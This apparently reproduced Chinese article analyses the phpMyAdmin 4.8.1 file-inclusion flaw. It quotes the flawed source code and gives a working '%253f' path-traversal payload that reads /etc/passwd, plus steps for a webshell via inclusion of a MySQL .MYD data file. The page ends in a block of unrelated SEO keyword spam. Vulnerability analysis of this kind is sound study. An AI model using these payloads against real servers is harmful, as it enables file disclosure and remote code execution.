千家信息网

phpmyadmin 4.8.1任意文件包含的示例分析

发表于:2025-02-01 作者:千家信息网编辑
千家信息网最后更新 2025年02月01日,这篇文章给大家分享的是有关phpmyadmin 4.8.1任意文件包含的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。phpmyadmin 4.8.1任意文件包含0
千家信息网最后更新 2025年02月01日phpmyadmin 4.8.1任意文件包含的示例分析

这篇文章给大家分享的是有关phpmyadmin 4.8.1任意文件包含的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。

phpmyadmin 4.8.1任意文件包含

0x00 phpmyadmin简述

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

0x01 影响版本

phpmyadmin 4.8.1
之前的版本没有测试
注:需要登录phpmyadmin才可利用

0x02漏洞分析

查看index.php 55~63行代码

if (! empty($_REQUEST['target'])    && is_string($_REQUEST['target'])    && ! preg_match('/^index/', $_REQUEST['target'])    && ! in_array($_REQUEST['target'], $target_blacklist)    && Core::checkPageValidity($_REQUEST['target'])) {    include $_REQUEST['target'];    exit;}

条件为真(条件):

  1. $_REQUEST['target'] 不能为空

  2. $_REQUEST['target'] 是字符串

  3. $_REQUEST['target'] 不能以index开头

  4. $_REQUEST['target'] 不能在$target_blacklist;而$target_blacklist = array ('import.php', 'export.php');

  5. 需要满足Core::checkPageValidity($_REQUEST['target'])

Core::checkPageValidity($_REQUEST['target']),查看phpMyAdmin1\libraries\classes\core.php
checkPageValidity 函数具体代码:

public static function checkPageValidity(&$page, array $whitelist = [])    {        if (empty($whitelist)) {            $whitelist = self::$goto_whitelist;        }        if (! isset($page) || !is_string($page)) {            return false;        }        if (in_array($page, $whitelist)) {            return true;        }        $_page = mb_substr(            $page,            0,            mb_strpos($page . '?', '?')        );        if (in_array($_page, $whitelist)) {            return true;        }        $_page = urldecode($page);        $_page = mb_substr(            $_page,            0,            mb_strpos($_page . '?', '?')        );        if (in_array($_page, $whitelist)) {            return true;        }        return false;    }

出现问题的代码:

$_page = urldecode($page);        $_page = mb_substr(            $_page,            0,            mb_strpos($_page . '?', '?')        );        if (in_array($_page, $whitelist)) {            return true;        }

在请求的链接中包含%253即可绕过,那可以构造的链接有:
db_sql.php%253/../../../../../../etc/passwd
db_sql.php可以替换成一下:

'db_datadict.php',        'db_sql.php',        'db_events.php',        'db_export.php',        'db_importdocsql.php',        'db_multi_table_query.php',        'db_structure.php',        'db_import.php',        'db_operations.php',        'db_search.php',        'db_routines.php',        'export.php',        'import.php',        'index.php',        'pdf_pages.php',        'pdf_schema.php',        'server_binlog.php',        'server_collations.php',        'server_databases.php',        'server_engines.php',        'server_export.php',        'server_import.php',        'server_privileges.php',        'server_sql.php',        'server_status.php',        'server_status_advisor.php',        'server_status_monitor.php',        'server_status_queries.php',        'server_status_variables.php',        'server_variables.php',        'sql.php',        'tbl_addfield.php',        'tbl_change.php',        'tbl_create.php',        'tbl_import.php',        'tbl_indexes.php',        'tbl_sql.php',        'tbl_export.php',        'tbl_operations.php',        'tbl_structure.php',        'tbl_relation.php',        'tbl_replace.php',        'tbl_row_action.php',        'tbl_select.php',        'tbl_zoom_select.php',        'transformation_overview.php',        'transformation_wrapper.php',        'user_password.php',

0x03通过文件包含获取webshell

前提条件首先知道数据库的路径

查看当前数据库的路径:

show variables like 'datadir'


我新建了一个数据库 tt,在tt数据库中添加一个了表,在表中插入了
然后访问:http://localhost/phpMyAdmin1/index.php?target=db_sql.php%253f/../../../../../../phpStudy/MySQL/data/tet/tt.MYD

感谢各位的阅读!关于"phpmyadmin 4.8.1任意文件包含的示例分析"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,让大家可以学到更多知识,如果觉得文章不错,可以把它分享出去让更多的人看到吧!

数据 数据库 文件 管理 文件包 分析 代码 条件 语法 示例 内容 接口 方式 更多 版本 程式 篇文章 网页 资料 路径 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 杨浦区互联网络技术咨询诚信服务 网站后台数据库管理 高邑县网络安全风险 软件开发系统集成资质甲级 数据库的恢复和安全控制 南通计算机网络技术包括什么 互联网音响科技 会编网游的能做软件开发 网络安全陕出来 软件开发专利申请保底书 车载网络技术有哪些作用 河南程序软件开发哪家专业 数据库启动后登陆不了 网易实况足球服务器查询 网络安全宣传周班会活动方案 5G物理层软件开发怎么样 连接服务器要多少钱 国家网络安全宣传周头条百科 电脑不能网络安全启动 网络安全法对网贷平台影响 河南软件开发的介绍 工业网络安全必要性 数据库性能(速度)将下降 扬州软件开发定做价格 煤炭企业生产系统网络安全防护 日志是记录数据库报文吗 搭建名片赞服务器 景区网络安全自查报告 应用商店主服务器连接异常怎么办 远程无盘服务器
0